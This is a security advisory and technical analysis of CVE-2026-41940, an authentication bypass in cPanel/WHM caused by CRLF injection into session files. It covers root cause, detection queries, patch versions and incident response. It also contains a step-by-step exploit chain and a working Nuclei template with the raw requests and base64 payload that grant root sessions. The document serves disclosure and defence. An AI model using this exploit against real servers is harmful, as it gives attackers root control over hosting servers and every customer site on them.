
cPanel disclosed a critical authentication bypass vulnerability in all currently supported versions on April 28, 2026. The vulnerability carries a CVSS score of 9.8, reflecting that no privileges or user interaction are required.
The vulnerability is a session-file manipulation attack through CRLF injection. An unauthenticated attacker injects crafted lines into a pre-authentication session file. When cpsrvd re-parses that file, the injected lines become top-level session entries — including user=root, hasroot=1, tfa_verified=1, a chosen cp_security_token, and a fresh successful_internal_auth_with_timestamp. Together these promote the session to a fully authenticated root session, bypassing both the password and the 2FA gates without ever hitting an authentication code path.
cPanel controls 94% of the control-panel market (W3Techs, "Usage statistics of control panels for websites"). Most organizations cannot fix vulnerabilities themselves and depend on their hosting provider to patch. When a single vendor controls that much of critical infrastructure, a single vulnerability affects the entire industry. Compromise at this layer creates exposure to the entire server and every customer website on it.
Technical overview
Vulnerability: Session-file manipulation through CRLF injection in HTTP Basic auth handling
CVE: CVE-2026-41940
Vulnerability profile: CWE-93 Improper Neutralization of CRLF Sequences in HTTP Headers (per cPanel's advisory; CWE-117 Improper Output Neutralization for Logs/Files is arguably a closer fit, since the CRLF lands in an on-disk session file rather than a response header)
Impact: Unauthenticated root administrative access to WHM, enabling control-plane manipulation and server-wide compromise
Affected versions: cPanel versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5
Affected deployments: All cPanel/WHM installations running unpatched versions
Severity: CVSS 9.8 Critical
Fix: Upgrade to vendor-specified fixed releases; no workaround exists
Exposure risk
cPanel and WHM serve as the central authentication and administrative layer for shared hosting infrastructure. In properly segmented environments, the cpsrvd ports — 2082/2083 (cPanel), 2086/2087 (WHM), and 2095/2096 (Webmail) — are not directly exposed to the internet. All three port pairs run the same cpsrvd binary against the same vulnerable session-handling code, so any of them is exploitable if reachable. Exposure frequently occurs through management convenience, temporary configurations, hybrid hosting scenarios, or firewall misconfigurations. Since authentication is bypassed entirely, exploitation depends only on network reachability.
Impact assessment
Compromise of cPanel is materially different from compromise of a single customer website. WHM grants root administrative access to the server. An attacker with this access can read every customer hosting account, modify files and databases, create backdoor accounts, install malware, steal credentials, and pivot into customer networks.
The attack does not stop at the server. Many customer websites serve as entry points into corporate networks through outdated plugins, SQL injection, or insecure integrations.
Forensic challenges
Because this attack exploits a file-format vulnerability rather than a traditional auth flaw, detection is not straightforward. The attack modifies session files on disk, but those modifications may not appear in any log if session files are not forwarded to an external system. An unpatched server that was internet-exposed during the disclosure window should be treated as potentially compromised. Indicators include unexpected entries in /var/cpanel/sessions/raw/ (multiple pass= lines on a single session, or user=root/hasroot=1 set on a session minted by a non-root login), unusual root-level processes, unexpected SSH keys, or unexpected cron jobs.
Exploitability analysis
The attack chain is straightforward and requires no special knowledge of cPanel internals to execute once the vulnerability is understood — a four-request HTTP chain is sufficient.
Hosting providers' rapid response (port blocks at the edge) limited the exploitation window for tenants of those providers. Organizations operating their own cPanel instances had no such protection. The vulnerability is currently exploitable against any unpatched instance reachable from an attacker-controlled network.
Threat-landscape context
This incident reflects a structural vulnerability in how infrastructure is deployed and managed. When 94% of control panels run the same software, a single vulnerability affects millions of websites simultaneously. Organizations cannot patch cPanel themselves and must depend on hosting providers. Hosting providers respond by blocking ports rather than providing immediate patches, exposing a broader risk: critical infrastructure controlled by a single vendor, managed by providers with different response capabilities, and deployed on systems that organizations do not directly control.
Technical breakdown
Technical root cause
The vulnerability resides in cpsrvd's HTTP Basic authentication handler. The handler stores the supplied password verbatim into the pre-authentication session file via Cpanel::Session::saveSession() — bypassing the sanitising Cpanel::Session::create() / Cpanel::Session::Modify::save() wrappers, which call filter_sessiondata() to strip CR/LF. Because saveSession() itself does not call filter_sessiondata(), any CR/LF in the password is written to the raw session file as literal newlines.
Later, when a request is rejected for failing the URL-bound security-token check, cpsrvd's do_token_denied() handler invokes Cpanel::Session::Modify::new($session, nocache => 1). The nocache => 1 flag forces a re-parse of the raw session file (line-by-line key=value) instead of loading the JSON cache. CRLF-split lines from the attacker-controlled pass field are now treated as separate key=value records. Modify::save() then rewrites the JSON cache with all parsed keys — including the attacker's — promoted to top-level session entries.
After the regen, the session contains user=root, hasroot=1, tfa_verified=1, an attacker-chosen cp_security_token, and a fresh successful_internal_auth_with_timestamp. cpsrvd's request handler then treats the session as fully authenticated: the timestamp marks it as a recently completed login (no password challenge), tfa_verified=1 skips the 2FA gate, the user/hasroot fields establish identity, and the cp_security_token satisfies the per-URL CSRF check when the attacker requests /<cp_security_token>/....
# Vulnerable path in Cpanel::Session::saveSession() (simplified):
sub saveSession {
my ($session, $session_ref) = @_;
my $ob = get_ob_part(\$session);
return 0 if !is_valid_session_name($session);
# <-- patched build inserts filter_sessiondata($session_ref) here
# <-- vulnerable build writes $session_ref->{pass} to disk verbatim
my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);
local $session_ref->{pass} = $encoder->encode_data($session_ref->{pass})
if $encoder && length $session_ref->{pass};
# ... write key=value lines to /var/cpanel/sessions/raw/<session>
}
# Re-parse path triggered by do_token_denied():
Cpanel::Session::Modify::new($session, nocache => 1); # re-reads raw file
Cpanel::Session::Modify::save(); # rewrites JSON cache
# with injected keys promoted
The fix adds filter_sessiondata($session_ref) inside saveSession() itself, so the sanitisation is enforced at the write boundary rather than depending on every caller to remember to invoke a wrapper.
Observed attack chain
- Pre-auth session mint — Attacker fails a login (e.g., POST /login/?login_only=1 with user=root&pass=wrong) to create a pre-authentication session file. The response sets a whostmgrsession cookie containing a random session id and an obfuscation suffix.
- CRLF injection via HTTP Basic auth — Attacker re-uses the cookie without the obfuscation suffix and sends an Authorization: Basic <base64> header where the decoded blob contains root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=<unix-time>\r\n.
- Session-file corruption — saveSession() writes the password (with embedded newlines) verbatim to /var/cpanel/sessions/raw/<session>. The file is now multi-line key=value records.
- Regen trigger — Attacker requests a protected URL with the chosen token prefix (GET /cpsess9999999999/scripts2/listaccts). The cache hasn't been regenerated yet, so the URL-bound token doesn't match, do_token_denied() fires, and Modify::new(nocache => 1) re-parses the now multi-line raw file.
- Cache regeneration — Modify::save() rewrites the JSON cache with every parsed key — including the attacker's — promoted to a top-level session entry.
- Privilege injection — The session now reads as user=root, hasroot=1, tfa_verified=1, cp_security_token=/cpsess9999999999, successful_internal_auth_with_timestamp=….
- Authenticated request as root — A subsequent GET /cpsess9999999999/<anything> passes the URL-token check, the recent-auth timestamp suppresses the password challenge, and tfa_verified=1 suppresses the 2FA challenge. cpsrvd executes the handler as root. GET /cpsess9999999999/json-api/version?api.version=1 is the smallest unambiguous proof — it returns a JSON document containing the cPanel build version, executed at root.
There is one race: Modify::save() serialises the session hash with Perl's randomised key-iteration order. Sometimes the original (unset) cp_security_token overwrites the injected one. A handful of retries makes the chain reliable.
Detection
The richest forensic signal is on disk in /var/cpanel/sessions/raw/. A pre-auth (badpass) session that was never legitimately upgraded should never contain user=root, hasroot=1, tfa_verified=1, or successful_internal_auth_with_timestamp. Multiple pass= lines in a single session file are a stronger signal still — that pattern is only produced by the CRLF-injection chain.
If session files are not forwarded to a SIEM, two access-log signals are usable instead:
# Sequence: a 401 from POST /login/?login_only=1 followed within seconds
# by GET / carrying an Authorization: Basic header, from the same source
# IP / same session cookie. The Authorization header on a request OTHER
# than /login is what makes this anomalous.
index=cpanel sourcetype=cpsrvd:access uri_path="/login/" status=401
| join session_id type=inner [
search index=cpanel sourcetype=cpsrvd:access uri_path="/" method=GET
"Authorization: Basic"
earliest=-30s latest=+30s ]
| table _time, src_ip, session_id, user_agent
# Once promoted, the session uses the attacker-chosen cpsess token in the
# URL. Real cpsess values are 16 hex digits issued by cpsrvd; an injected
# value will be whatever the attacker picked (e.g., /cpsess9999999999/).
# Look for cpsess tokens that don't match cpsrvd-issued ones, or that
# precede their own first issuance in the log timeline.
index=cpanel sourcetype=cpsrvd:access uri_path="/cpsess*"
| rex field=uri_path "/cpsess(?<token>[a-f0-9]+)"
| stats earliest(_time) as first_seen min(_time) as min_seen by token, src_ip
| where first_seen == min_seen /* token first appears in a request, not a Set-Cookie */
The Splunk queries in our earlier draft pattern-matched on Perl symbol names (Modify::save, JSON cache) that cpsrvd does not emit to its access or error logs, and on parent_process=cpsrvd user=root which matches every legitimate cpsrvd child. Replace those with on-disk session inspection or the access-log correlations above.
Recommended actions
Organizations should treat cPanel/WHM as critical infrastructure. Response posture should prioritise patching, artifact preservation, and compromise assessment.
Immediate
- Inventory all cPanel/WHM instances.
- Identify which instances were internet-exposed during the disclosure window (April 28–29, 2026).
- Upgrade to fixed releases:
- 11.110.x → 11.110.0.97 or later
- 11.118.x → 11.118.0.63 or later
- 11.126.x → 11.126.0.54 or later
- 11.132.x → 11.132.0.29 or later
- 11.134.x → 11.134.0.20 or later
- 11.136.x → 11.136.0.5 or later
- Verify the patch via /usr/local/cpanel/cpanel -V.
- If using a hosting provider, verify patch status with the provider directly.
Short-term
- Audit cpsrvd access logs for the exposure window: 401s on /login/?login_only=1 immediately followed by Authorization: Basic on a non-/login URL from the same source.
- Inspect /var/cpanel/sessions/raw/ for pre-auth sessions containing any of user=root, hasroot=1, tfa_verified=1, successful_internal_auth_with_timestamp, or multiple pass= lines.
- Audit WHM for unexpected user accounts, SSH keys, or cron jobs.
- Verify no unauthorised modifications to /etc/, /usr/local/cpanel/, or root's ~/.bashrc / authorized_keys.
Long-term
- Restrict access to cPanel/WHM/Webmail ports (2082, 2083, 2086, 2087, 2095, 2096) to known administrative IP ranges.
- Implement firewall allowlists for management-plane communication.
- Forward cPanel access and session-write events to an external SIEM with retention controls.
- Monitor for unexpected version changes or configuration drift.
- Conduct regular audits of administrative accounts and SSH keys.
If compromise is confirmed
- Do not attempt in-place remediation of root-compromised systems.
- Rebuild affected systems from clean, patched images.
- Rotate all administrative credentials.
- Replace all SSH keys.
- Assume all customer data on the server has been compromised.
- Notify affected customers of potential exposure.
- Conduct broader network investigation for lateral movement.
The structural problem
The real issue: we have allowed critical infrastructure to become so concentrated that a single vulnerability affects the entire industry. cPanel controls 94% of the control-panel market, yet most organizations cannot fix vulnerabilities themselves. Hosting providers responded by blocking ports as a temporary measure. This vulnerability will be patched. The concentration will remain. The next vulnerability is inevitable. What organizations need is visibility into what's actually exploited, not hope that patches deploy faster than attacks spread.
Detection and tooling
Hadrian has developed a Nuclei template for automated detection of CVE-2026-41940. The template exercises the full exploitation chain and validates whether the target is vulnerable by extracting the cPanel build version from an authenticated /json-api/version call — a result that is only reachable on a vulnerable host, eliminating false positives on patched hosts and non-cPanel listeners.
nuclei -u https://target:2087 -t cve-2026-41940-native.yaml
A confirmed-vulnerable target produces a single output line containing the extracted cPanel version (e.g. ["11.126.0.53"]). Patched and non-cPanel targets produce no output.
id: CVE-2026-41940
info:
name: cPanel/WHM Authentication Bypass via Session-File CRLF Injection (CVE-2026-41940)
author: hadrian
severity: critical
http:
- raw:
- |
POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
user=root&pass=wrong
- |
GET /?attempt={{attempt}} HTTP/1.1
Host: {{Hostname}}
Cookie: {{cookie_name}}={{sess_clean}}
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva
2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F
1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
- |
GET /cpsess9999999999/scripts2/listaccts HTTP/1.1
Host: {{Hostname}}
Cookie: {{cookie_name}}={{sess_clean}}
- |
GET /cpsess9999999999/json-api/version?api.version=1 HTTP/1.1
Host: {{Hostname}}
Cookie: {{cookie_name}}={{sess_clean}}
payloads:
attempt:
- "1"
- "2"
- "3"
- "4"
attack: batteringram
iterate-all: true
stop-at-first-match: true
disable-cookie: true
redirects: false
extractors:
- type: regex
name: cookie_name
part: header
internal: true
group: 1
regex:
- "(?i)set-cookie:\\s*(whostmgrsession|cpsession)="
- type: regex
name: sess_clean
part: header
internal: true
group: 1
regex:
- "(?:whostmgrsession|cpsession)=([^;,]+?)%2c"
matchers:
- type: regex
part: body
regex:
- '"version"\s*:\s*"[0-9.]+"'



